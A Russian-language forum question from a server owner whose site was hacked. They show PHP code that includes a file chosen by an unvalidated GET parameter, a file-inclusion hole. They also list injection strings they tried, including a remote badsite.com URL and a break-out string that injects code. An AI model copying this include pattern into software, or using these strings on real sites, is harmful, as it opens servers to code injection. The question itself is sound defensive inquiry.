Недавно мой сервер был взломан и файлы были загружены.Прямо сейчас я пытаюсь найти слабые места, которые привели меня к инъекции php.Я использую следующий код для включения файлов:
if (isset($_GET['page'])) {
$page = $_GET['page'];
include("./php/$page.php");
}
Я пробовал что-то вроде:
http://badsite.com/badcode.php
example.php");include(...BADCODE HERE...);//
"allow_url_fopen = 0" отключен в конфигурации сервера.Я думаю, что белый список и / или функции php (htmlentities, strip ...) для фильтрации специальных символов и кода по умолчанию сделали бы его пуленепробиваемым.Но все же я задаюсь вопросом, возможно ли в любом случае внедрить плохой код, так как значение $ page рассматривается как строка?
Может ли что-нибудь ввести "пользователь", который не попадет в phpпредупреждение "... не удалось открыть поток: нет такого файла или каталога ..."?